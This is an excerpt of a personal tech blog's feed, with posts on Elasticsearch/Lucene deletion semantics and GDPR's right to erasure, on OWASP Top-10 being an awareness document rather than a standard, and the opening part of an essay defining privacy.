&lt;p&gt;This will likely lead to all sorts of upgrade- and dependency-issues for related software, and will in many cases mean upgrading to a version of Elasticsearch (or SOLR, for that matter) that is built upon Lucene 7.5. Then again, there is no telling when Elasticsearch will update its version of Lucene, or when solutions that depend upon Elasticsearch will upgrade its version of Elasticsearch, and so on.&lt;/p&gt;
&lt;p&gt;Another thing I&apos;ve thought about is that one will perhaps have to to prove compliance to some extent, i.e. that configs, rates and architecture will enable you to guarantee that data is deleted after 30 days. In the end, we likely won&apos;t know specifics such as this, and what &quot;deleted&quot; means specifically (i.e. how good is good enough) before a case dealing with this topic is processed in court.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Elasticsearch and GDPR]]></title><description><![CDATA[**Edit: ** Since this was originally posted, I've come up with a solution. When I was in Philadelphia this summer, taking the Elasticsearch…]]></description><link>https://eivindarvesen.com/blog/2018/09/16/elasticsearch-and-gdpr</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2018/09/16/elasticsearch-and-gdpr</guid><content:encoded>&lt;p&gt;**Edit: ** &lt;em&gt;Since this was originally posted, I&apos;ve come up with &lt;a href=&quot;/blog/2018/09/23/lucene-indexes-and-gdpr&quot;&gt;a solution&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;When I was in Philadelphia this summer, taking the Elasticsearch Engineer &lt;a href=&quot;https://www.elastic.co/training/elasticsearch-engineer-1&quot;&gt;I&lt;/a&gt; and &lt;a href=&quot;https://www.elastic.co/training/elasticsearch-engineer-2&quot;&gt;II&lt;/a&gt; courses, something interesting occurred to me which might not be immediately obvious – and which may further complicate the already non-trivial technical issues that have appeared in the wake of &lt;a href=&quot;https://ec.europa.eu/commission/priorities/justice-and-fundamental-rights/data-protection/2018-reform-eu-data-protection-rules_en&quot;&gt;GDPR&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Some background&lt;/h2&gt;
&lt;p&gt;If you don&apos;t already know, &lt;a href=&quot;https://en.wikipedia.org/wiki/Elasticsearch&quot;&gt;Elasticsearch&lt;/a&gt; is an open source, near real-time distributed search engine with a REST-API. Though it is &lt;a href=&quot;https://www.elastic.co/blog/found-elasticsearch-as-nosql&quot;&gt;suited for NoSQL storage&lt;/a&gt;, &lt;a href=&quot;https://discuss.elastic.co/t/elasticsearch-as-a-primary-database/85733/5&quot;&gt;you should &lt;em&gt;not&lt;/em&gt; use Elasticsearch as a primary data store&lt;/a&gt; (further detailed &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/resiliency/current/index.html&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;Don&apos;t get me wrong – Elasticsearch is &lt;em&gt;great&lt;/em&gt; for search; But it&apos;s &lt;em&gt;&lt;a href=&quot;https://aphyr.com/posts/323-call-me-maybe-elasticsearch-1-5-0&quot;&gt;not a database&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;We were in the midst of discussing the nitty gritty of the advanced features of Elasticsearch related to distributed storage, specifically the internals of &lt;a href=&quot;https://en.wikipedia.org/wiki/Apache_Lucene&quot;&gt;Lucene&lt;/a&gt;, upon which Elasticsearch is based.&lt;/p&gt;
&lt;p&gt;The relevant concepts are neatly summed up &lt;a href=&quot;https://www.elastic.co/blog/found-elasticsearch-top-down&quot;&gt;here&lt;/a&gt;, but in short: You insert &lt;em&gt;documents&lt;/em&gt; (data) in an &lt;em&gt;index&lt;/em&gt; (a logical namespace, comparable to a database), which is mapped to one or more primary shards (and however many replica shards); the shards are distributed across the &lt;em&gt;nodes&lt;/em&gt; in your &lt;em&gt;cluster&lt;/em&gt;; each node runs a number of &lt;em&gt;shards&lt;/em&gt; (including primary and replica shards); each shard consists of &lt;em&gt;segments&lt;/em&gt;. Segments are essentially immutable &quot;mini-indices&quot;, which handles searching on its part of the entire data collection when Lucene does a search. Since segments are immutable, deleted documents are not really deleted, but &lt;a href=&quot;https://www.elastic.co/blog/lucenes-handling-of-deleted-documents&quot;&gt;only marked as such&lt;/a&gt; – so the segments filter out documents marked for deletion when searches are performed.&lt;/p&gt;
&lt;p&gt;Any given shard is continuously processing its document queue, inputting data to Lucene documents. These documents are added to the index buffer, which is eventually flushed in a new segment, and lastly committed. When this all happens is up to the shard&apos;s host node. These flushes are not synchronized across nodes, so situations may occur where, for instance, master and replica shards may hold differing &quot;truths&quot; (data) as refreshes propagate across nodes.&lt;/p&gt;
&lt;p&gt;Since the distributed search will get increasingly more complicated as more segments are added, Lucene will on occation merge segments according to a merge policy. When this happens, documents marked as deleted are dropped. This also means that adding more documents may some times result in a smaller index size, since it can trigger a segment merge.&lt;/p&gt;
&lt;p&gt;Though you &lt;em&gt;can&lt;/em&gt; use the &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/guide/current/merge-process.html#optimize-api&quot;&gt;optimize API&lt;/a&gt; to force a merge operation, this is not usually wise. In short, it reduces the number of segments (usually to one), and hinders the background merge process. It should &lt;em&gt;not&lt;/em&gt; be used on a dynamic (actively updated) index – it is typically only beneficial for older, essentially read-only indices.&lt;/p&gt;
&lt;p&gt;Elastic explains the merge process &lt;a href=&quot;https://www.elastic.co/guide/en/elasticsearch/guide/current/merge-process.html&quot;&gt;here&lt;/a&gt;, and Michael McCandless further details segment merging &lt;a href=&quot;http://blog.mikemccandless.com/2011/02/visualizing-lucenes-segment-merges.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Segment merging can be visualized as such:&lt;/p&gt;
&lt;div class=&quot;gatsby-resp-iframe-wrapper&quot; style=&quot;padding-bottom: 56.25%; position: relative; height: 0; overflow: hidden; margin-bottom: 1.0725rem&quot; &gt; &lt;iframe src=&quot;https://www.youtube.com/embed/YW0bOvLp72E&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot; style=&quot; position: absolute; top: 0; left: 0; width: 100%; height: 100%; &quot;&gt;&lt;/iframe&gt; &lt;/div&gt;
&lt;h3&gt;You don&apos;t necessarily understand what data you have&lt;/h3&gt;
&lt;p&gt;This all means that at any given point, you may still have data which is supposed to be deleted on disk (Lucene segments are files, after all) – depending on your cluster architecture, differing amount of data between primary and master shards on different nodes, and merge settings.&lt;/p&gt;
&lt;p&gt;In addition, continuous index refreshing (which is what enables near real-time search) is the most common cause for flushes. This happens every second by default. A flush will create a new segment, and can possibly trigger a merge.&lt;/p&gt;
&lt;p&gt;It is also possible to mess up your &lt;code class=&quot;language-text&quot;&gt;refresh-interval&lt;/code&gt;-setting or disable automatic refreshing altogether, for instance if you do this while (re-)indexing and forget to enable it later.&lt;/p&gt;
&lt;p&gt;Lastly: Once a segment reaches max size (5GB by default) it will &lt;a href=&quot;https://www.elastic.co/blog/lucenes-handling-of-deleted-documents&quot;&gt;only&lt;/a&gt; be eligible for merging when it accumulates 50% deletions.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TLDR:&lt;/strong&gt; Depending on your rate of indexing and searching, your configuration, your segment sizes, and your overall architecture (and even more technical details), you may very well have &quot;deleted&quot; data on disk for longer than you are aware of.&lt;/p&gt;
&lt;h2&gt;The GDPR&lt;/h2&gt;
&lt;p&gt;According to &lt;a href=&quot;https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=uriserv%3AOJ.L_.2016.119.01.0001.01.ENG&amp;#x26;toc=OJ%3AL%3A2016%3A119%3ATOC#d1e2606-1-1&quot;&gt;Article 17&lt;/a&gt; (&quot;Right to be Forgotten&quot;) of the GDPR, users have the right to have their data erased from a controller. Afterwards, the controller has 30 days to confirm what data has been deleted or the reasons they cannot delete it.&lt;/p&gt;
&lt;p&gt;To be able to do this, one would need to:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Know what data is stored&lt;/li&gt;
&lt;li&gt;Locate all instances of the data in question&lt;/li&gt;
&lt;li&gt;Guarantee that all relevant data is in fact erased&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Back to our story...&lt;/h2&gt;
&lt;p&gt;During the Elasticsearch course, we were told that documents aren&apos;t really deleted, but marked as such - they are only really deleted when segments are merged (at some, possibly hard to define, point in the future). Additionally, there&apos;s issues of synchronisation, which doesn&apos;t necessarily happen instantaneously, and the fact that segment merging may happen at different times on different shards.&lt;/p&gt;
&lt;p&gt;I then asked: &quot;Does that mean that there&apos;s no way to guarantee that information is deleted - let&apos;s say in the context of complying with regulation, such as the &lt;a href=&quot;https://ec.europa.eu/commission/priorities/justice-and-fundamental-rights/data-protection/2018-reform-eu-data-protection-rules_en&quot;&gt;GDPR&lt;/a&gt;?&quot;&lt;/p&gt;
&lt;p&gt;Our instructor said &quot;no&quot;, but quickly added &quot;Is there ever really such a guarantee?&quot;&lt;/p&gt;
&lt;p&gt;He also pointed out that you will potentially have the same issue all the way down to the disk level, i.e. files aren&apos;t typically really deleted from hard drives, but only &quot;marked&quot; as such.&lt;/p&gt;
&lt;h2&gt;Consequences&lt;/h2&gt;
&lt;p&gt;It is not necessarily easy to predict when Elasticsearch will merge segments and drop &quot;deleted&quot; documents. Depending on the system and its configuration, you may (in the worst case) not necessarily be able to guarantee that this will happen within 30 days – though this might not be a common issue in practice.&lt;/p&gt;
&lt;p&gt;It is not a given that one may override Elasticsearch&apos;s internal policies for storage and performance manually in a way that is practical to do in production environments ; if so, things will likely get pretty complicated pretty fast. And even then: who knows what happens on different nodes in the cluster, not to mention on the disk-level.&lt;/p&gt;
&lt;p&gt;If it is really necessary to guarantee that the data in question is deleted in a way that makes it impossible restore them, it wil likely be a &lt;em&gt;very&lt;/em&gt; expensive solution.&lt;/p&gt;
&lt;p&gt;One would maybe have to reimplement the merging mechanism in a way that meets these demands and handle it manually; Or make a program which finds and deletes the relevant data on a file level on disk on the relevant nodes, triggered upon &quot;deletion&quot; in Elasticsearch.&lt;/p&gt;
&lt;p&gt;Another approach would be to encrypt the relevant data hard, and &quot;throw away the key&quot;.&lt;/p&gt;
&lt;p&gt;A final approach is something like what Reddit user &lt;a href=&quot;https://www.reddit.com/user/1s44c&quot;&gt;1s44c&lt;/a&gt; commented on this post&apos;s submission on the Elasticsearch subreddit:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;On ES versions less than 6 we see a lot of minor inconsistencies in document counts on rebuilt shards on busy indices. This causes us to rebuild indices at least weekly and dump the old ones. That should wipe out all old data and is a short enough timeframe to solve GDPR worries.&lt;/p&gt;
&lt;p&gt;Like you say ES is a great tool but it really, really isn&apos;t a primary data store. You should always have a well tested way to recreate indices from source. Having said that version 6.3 is FAR better at keeping consistent document counts in every shard.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;No matter the approach, it is sure to become complicated. Additionally, this is probably a relevant problem for other comparable solutions as well.&lt;/p&gt;
&lt;h3&gt;Third party solutions&lt;/h3&gt;
&lt;p&gt;There&apos;s also the case of solutions built around Elasticsearch (not that you &lt;em&gt;should&lt;/em&gt; use ES as your primary datastore).&lt;/p&gt;
&lt;p&gt;For instance, there are Content Management Systems, such as &lt;a href=&quot;https://enonic.com&quot;&gt;Enonic XP&lt;/a&gt;, which uses ES as a primary datastore in the &lt;a href=&quot;https://xp.readthedocs.io/en/stable/developer/node-domain/overview.html&quot;&gt;Enonic Content Repository&lt;/a&gt; (&quot;NoSQL database - Lightning fast and built on Elasticsearch&quot;). There are probably also custom solutions out there that do the same thing.&lt;/p&gt;
&lt;p&gt;If someone stores personal data in these instances, they may potentially have a problem down the line if a &quot;difficult&quot; person demands their data deleted.&lt;/p&gt;
&lt;h3&gt;Conclusion&lt;/h3&gt;
&lt;p&gt;There are many that use Elasticsearch as a primary data store (even though they shouldn&apos;t) in some shape or form. This ranges from custom built architectures to commercial solutions.&lt;/p&gt;
&lt;p&gt;One can&apos;t necessarily guarantee deletion of data (as defined by the GDPR) within 30 days – in accordance with the law – because of how Lucene segment merging works, as well as a myriad of other tetchnical details.&lt;/p&gt;
&lt;p&gt;This means that there are a lot of people and companies out there that are at risk of not being GDPR-compliant, should the EU take a principal stand on the issue. Being non-compliant would, in the case of prosecution, potentially lead to fines up to €10 million, or 2% of the worldwide annual revenue of the prior financial year, whichever is higher.&lt;/p&gt;
&lt;p&gt;There is no known solution as of yet, as this is new territory.&lt;/p&gt;
&lt;p&gt;**Edit: ** &lt;em&gt;Since this was originally posted, I&apos;ve come up with &lt;a href=&quot;/blog/2018/09/23/lucene-indexes-and-gdpr&quot;&gt;a solution&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[OWASP Top-10 is not a standard]]></title><description><![CDATA[This is a short one. OWASP Top 10 is not a standard, though it's often used as such. It's an awareness document. I've seen so many cases of…]]></description><link>https://eivindarvesen.com/blog/2020/09/06/owasp-top-10-is-not-a-standard</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/09/06/owasp-top-10-is-not-a-standard</guid><content:encoded>&lt;p&gt;This is a short one.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/&quot;&gt;OWASP Top 10&lt;/a&gt; is not a standard, though it&apos;s often used as such. It&apos;s an awareness document.&lt;/p&gt;
&lt;p&gt;I&apos;ve seen so many cases of people and organizations claiming that their solutions are secure, since they use the Top-10 list in their work, track Top-10 occurences – or that they&apos;re in compliance with OWASP Top-10, which doesn&apos;t make much sense...&lt;/p&gt;
&lt;p&gt;Knowing about and acting upon the relatively simple vulnerabilities in the Top-10 list is a good start, but it&apos;s not by itself enough of a basis to claim &lt;strong&gt;good security™&lt;/strong&gt;. There&apos;s more to know, and many places security should be plugged into your &lt;a href=&quot;https://owasp.org/www-pdf-archive/Jim_Manico_(Hamburg)_-_Securiing_the_SDLC.pdf&quot;&gt;lifecycle&lt;/a&gt; – for instance:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_What%2527s_Next_for_Developers&quot;&gt;What&apos;s Next for Developers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_What%2527s_Next_for_Security_Testers&quot;&gt;What&apos;s Next for Security Testers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_What%2527s_Next_for_Organizations&quot;&gt;What&apos;s Next for Organizations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/Top_10-2017_What%2527s_Next_for_Application_Managers&quot;&gt;What&apos;s Next for Application Managers&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-samm/&quot;&gt;OWASP SAMM (&lt;strong&gt;Software Assurance Maturity Model&lt;/strong&gt;)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you&apos;re looking for a (compliance or regulatory) standard, look to the &lt;a href=&quot;https://owasp.org/www-project-application-security-verification-standard/&quot;&gt;ASVS&lt;/a&gt; (Application Security Verification Standard), or similar projects.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Defining Privacy]]></title><description><![CDATA[In this post I'll attempt to give a brief, but thorough introduction to privacy. This ambitious task is motivated in part by the staggering…]]></description><link>https://eivindarvesen.com/blog/2020/06/01/defining-privacy</link><guid isPermaLink="false">https://eivindarvesen.com/blog/2020/06/01/defining-privacy</guid><content:encoded>&lt;p&gt;In this post I&apos;ll attempt to give a brief, but thorough introduction to privacy. This ambitious task is motivated in part by the staggering amount of people I&apos;ve dealt with that lack a proper understanding of the subject – whether they be politicians, laymen, or even tech-professionals.&lt;/p&gt;
&lt;h2&gt;An attempted definition&lt;/h2&gt;
&lt;p&gt;At its core, privacy is aboute being able to control your own information (i.e. &lt;em&gt;information about you&lt;/em&gt;).&lt;/p&gt;
&lt;p&gt;Controlling your own information allows you to express yourself selectively, and to be able to seclude yourself or information about yourself – according to your wishes and your own will.&lt;/p&gt;
&lt;p&gt;This entails, amongst other things, the ability to keep certain things private. Maybe something you find particularly special, sensitive or secret.&lt;/p&gt;
&lt;p&gt;While the domain of privacy has a certain partial overlap with security, the two are distinct fields. Relevant concepts from the security domain include appropriate use, as well as protection of information. A definition of privacy &lt;em&gt;may&lt;/em&gt; include &quot;bodily integrity&quot; (i.e. the inviolability of the physical body), but it is a &lt;strong&gt;completely different thing&lt;/strong&gt; than ensuring somebody&apos;s physical safety. The latter would fall under the domain of security.&lt;/p&gt;
&lt;p&gt;Though information pertaining to you belongs to you (i.e. is under your ownership), other individuals and organizations may see value in it. You may then elect to trade personal details for some sort of benefit in return – such as a product, a service, or some such.
Additionally, &lt;em&gt;some&lt;/em&gt; information about &lt;em&gt;some people&lt;/em&gt; is subject to rules on public interest, e.g. the dealings of politicians or pillars of society.&lt;/p&gt;
&lt;p&gt;Additionally, privacy – as other fundamental rights – is not necessarily absolute. If there is a matter of greater importance, a fundamental right (including privacy) may ostensibly be encroached upon &lt;em&gt;to a certain extent&lt;/em&gt; (they may never be entirely eroded, as they are &lt;strong&gt;fundamental&lt;/strong&gt; rights, after all), provided that the actions taken are necessary and proportionate. At this point things obviously get complicated, but it illustrates the contextual implications of privacy to a certain extent.&lt;/p&gt;
&lt;p&gt;Merriam-Webster (yes, I&apos;m doing this...) defines privacy as&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“The quality or state of being apart from company or observation” or “freedom from unauthorized intrusion”.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That may sum it up, though it might be a little limiting...&lt;/p&gt;
&lt;h2&gt;History&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/f53e3f5bdcd692c7c714f3f21df6c73d/93719/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 150%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAeABQDASIAAhEBAxEB/8QAGAABAAMBAAAAAAAAAAAAAAAAAAIDBAX/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAQL/2gAMAwEAAhADEAAAAboqspAty6edW0R//8QAHBAAAgICAwAAAAAAAAAAAAAAAQIAEBIhIzEy/9oACAEBAAEFArO4PdK2TQ9IeWf/xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAEDAQE/AR//xAAUEQEAAAAAAAAAAAAAAAAAAAAg/9oACAECAQE/AR//xAAXEAADAQAAAAAAAAAAAAAAAAABECAh/9oACAEBAAY/AoLyf//EABsQAAICAwEAAAAAAAAAAAAAAAERABAhMVFh/9oACAEBAAE/ITiGh0cLu0Hy23gUSIwbsZPK/9oADAMBAAIAAwAAABAo2XP/xAAVEQEBAAAAAAAAAAAAAAAAAAAQAf/aAAgBAwEBPxAh/8QAFBEBAAAAAAAAAAAAAAAAAAAAIP/aAAgBAgEBPxAf/8QAHRABAQEAAgIDAAAAAAAAAAAAAREAITFBYVFxsf/aAAgBAQABPxBEXyw0/OTnCFSHMxeTAk9kme88kZPeEZkh9Vb+Ge9w50Zy9mDwLa8a7//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Lady Justice&quot;
        title=&quot;Lady Justice&quot;
        src=&quot;/static/f53e3f5bdcd692c7c714f3f21df6c73d/828fb/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg&quot;
        srcset=&quot;/static/f53e3f5bdcd692c7c714f3f21df6c73d/ff44c/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg 158w,
/static/f53e3f5bdcd692c7c714f3f21df6c73d/a6688/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg 315w,
/static/f53e3f5bdcd692c7c714f3f21df6c73d/828fb/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg 630w,
/static/f53e3f5bdcd692c7c714f3f21df6c73d/0ede0/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg 945w,
/static/f53e3f5bdcd692c7c714f3f21df6c73d/3ac88/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg 1260w,
/static/f53e3f5bdcd692c7c714f3f21df6c73d/93719/tingey-injury-law-firm-L4YGuSg0fxs-unsplash.jpg 4000w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;While most cultures recognize individuals&apos; ability to to withhold certain parts of their personal information from society, privacy as we know it today is a relatively modern construct, mainly associated with western culture.&lt;/p&gt;
&lt;p&gt;Think personal autonomy, self-ownership, and self-determination – all virtually universally recognized as inalienable rights, which spring from the historical context of establishing individual rights and values, as opposed to individuals being property of the state. Privacy allows the individual protection from government, majority or other forms of power, and is an essential enabler of an individual’s autonomy, dignity, and freedom of expression. In a sense, one could argue privacy is at the core of classical liberalism, and as a consequence it is a cornerstone of liberal democracy.&lt;/p&gt;
&lt;p&gt;Privacy is thus integral to the concept of liberty – and a prerequisite of freedom. Because of this, it has been defined as a fundamental right by both nation-states (via their constitutions), as well as political unions and intergovernmental organizations (e.g. the European Convention on Human Rights and the Universal Declaration of Human Rights).&lt;/p&gt;
&lt;h2&gt;Privacy&apos;s importance&lt;/h2&gt;
&lt;p&gt;Privacy is not really something we &lt;em&gt;can&lt;/em&gt; trade off for something else. We have an intrinsic need for privacy as human beings, which is why it is defined as a fundamental right – so that we can live dignified lives in civilized society. As such, it is a foundational principle, much like freedom of speech.&lt;/p&gt;
&lt;p&gt;To illustrate why we really need privacy, consider this banal example: You probably want privacy in the restroom, even though you&apos;re doing nothing &lt;em&gt;wrong&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;If you aren&apos;t doing anything wrong, what do you have to hide?&quot;&lt;/p&gt;
&lt;p&gt;Some clever answers: &quot;If I&apos;m not doing anything wrong, then you have no cause to watch me.&quot; &quot;Because the government gets to define what&apos;s wrong, and they keep changing the definition.&quot; &quot;Because you might do something wrong with my information.&quot; My problem with quips like these -- as right as they are -- is that they accept the premise that privacy is about hiding a wrong. It&apos;s not. Privacy is an inherent human right, and a requirement for maintaining the human condition with dignity and respect.&lt;/p&gt;
&lt;p&gt;– &lt;cite&gt;&lt;a href=&quot;https://www.schneier.com/blog/archives/2006/05/the_value_of_pr.html&quot; title=&quot;The Value of Privacy - Schneier on Security&quot;&gt;Bruce Schneier&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As Edward Snowden says in his book Permanent Record, “Arguing that you don&apos;t care about the right to privacy because you have nothing to hide is no different than saying you don&apos;t care about free speech because you have nothing to say.”&lt;/p&gt;
&lt;p&gt;There&apos;s also the fact that, on the level of rights, laws or government, you&apos;re effectively gving away the rights of other people (who might need it more than you do in the moment). Let&apos;s not forget those less fortunate, even in relatively liberal societies, that are stigmatized, discriminated against, threatened or otherwise live within cultural and personal structures that make up tangible threats to their safety and wellbeing in their day-to-day lives. These people have a real, practical need for privacy to protect themselves, be it because of their ethnicity, religion, sexuality, political affiliation, disability, surrounding cultural confines, or otherwise.&lt;/p&gt;
&lt;p&gt;And then there are special cases that need it even more – such as lawyers communicating with clients, reporters meeting sources, etc.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As we consider how we establish and protect the boundaries around the individual, and the ability of the individual to have a say in what happens to him or her, we are equally trying to decide:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the ethics of modern life;&lt;/li&gt;
&lt;li&gt;the rules governing the conduct of commerce; and,&lt;/li&gt;
&lt;li&gt;the restraints we place upon the power of the state.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;– &lt;cite&gt;&lt;a href=&quot;https://www.schneier.com/blog/archives/2006/05/the_value_of_pr.html&quot; title=&quot;The Value of Privacy - Schneier on Security&quot;&gt;Privacy International&lt;/a&gt;&lt;/cite&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Privacy is what allows us to have &lt;em&gt;anything&lt;/em&gt; for ourselves – to keep something to ourselves. This makes us able to experiment with who we are and what we think – and thereby develop our personalities.&lt;/p&gt;
&lt;h2&gt;When things go wrong&lt;/h2&gt;
&lt;p&gt;&lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 630px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/7c03e06d8b225f436c0ce7adf93922a8/d23c7/parker-coffman-8EYMcqG5GRU-unsplash.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 79.74683544303798%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAQABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAIBBAX/xAAXAQADAQAAAAAAAAAAAAAAAAABAgME/9oADAMBAAIQAxAAAAHHFlTaEJbv/8QAFxAAAwEAAAAAAAAAAAAAAAAAAAEREP/aAAgBAQABBQIka1H/xAAXEQEAAwAAAAAAAAAAAAAAAAAAAQIh/9oACAEDAQE/AUWx/8QAFREBAQAAAAAAAAAAAAAAAAAAABH/2gAIAQIBAT8BR//EABQQAQAAAAAAAAAAAAAAAAAAACD/2gAIAQEABj8CX//EABkQAAMBAQEAAAAAAAAAAAAAAAABETEQIf/aAAgBAQABPyHWUgbzlwqH/9oADAMBAAIAAwAAABB4D//EABcRAQEBAQAAAAAAAAAAAAAAAAEAEUH/2gAIAQMBAT8QE7Ji/8QAFhEBAQEAAAAAAAAAAAAAAAAAACEB/9oACAECAQE/EK2n/8QAGhABAQEBAQEBAAAAAAAAAAAAAREAITFBkf/aAAgBAQABPxCQPuQD2lJoHLvSPZ3mSLX93//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;A surveillance camera&quot;
        title=&quot;A surveillance camera&quot;
        src=&quot;/static/7c03e06d8b225f436c0ce7adf93922a8/828fb/parker-coffman-8EYMcqG5GRU-unsplash.jpg&quot;
        srcset=&quot;/static/7c03e06d8b225f436c0ce7adf93922a8/ff44c/parker-coffman-8EYMcqG5GRU-unsplash.jpg 158w,
/static/7c03e06d8b225f436c0ce7adf93922a8/a6688/parker-coffman-8EYMcqG5GRU-unsplash.jpg 315w,
/static/7c03e06d8b225f436c0ce7adf93922a8/828fb/parker-coffman-8EYMcqG5GRU-unsplash.jpg 630w,
/static/7c03e06d8b225f436c0ce7adf93922a8/0ede0/parker-coffman-8EYMcqG5GRU-unsplash.jpg 945w,
/static/7c03e06d8b225f436c0ce7adf93922a8/3ac88/parker-coffman-8EYMcqG5GRU-unsplash.jpg 1260w,
/static/7c03e06d8b225f436c0ce7adf93922a8/d23c7/parker-coffman-8EYMcqG5GRU-unsplash.jpg 3994w&quot;
        sizes=&quot;(max-width: 630px) 100vw, 630px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
        decoding=&quot;async&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We needn&apos;t think for long to come up with historical examples of how undermining of privacy has enabled atrocities and violations of human rights.&lt;/p&gt;
&lt;p&gt;The Gestapo (Nazi Germany), KGB (Soviet Union), Stasi (DDR), and the Ministry of State Security and the Ministry of Foreign Affairs (PRC) all spring to mind as ruthless secretive organizations acting on the behalf of authoritarian regimes, systematically undermining the rights of their own populations by actions ranging between indiscriminate surveillance to politically motivated internment, and extermination.&lt;/p&gt;
&lt;p&gt;At the same time, many western countries are challenging invididual and international notions of privacy, as they implement variations on mass surveillance (such as bulk collection of metadata) on a national scale, usually framing it as a question of security vs. freedom – upon which Benjamin Franklin famously once opined.&lt;/p&gt;
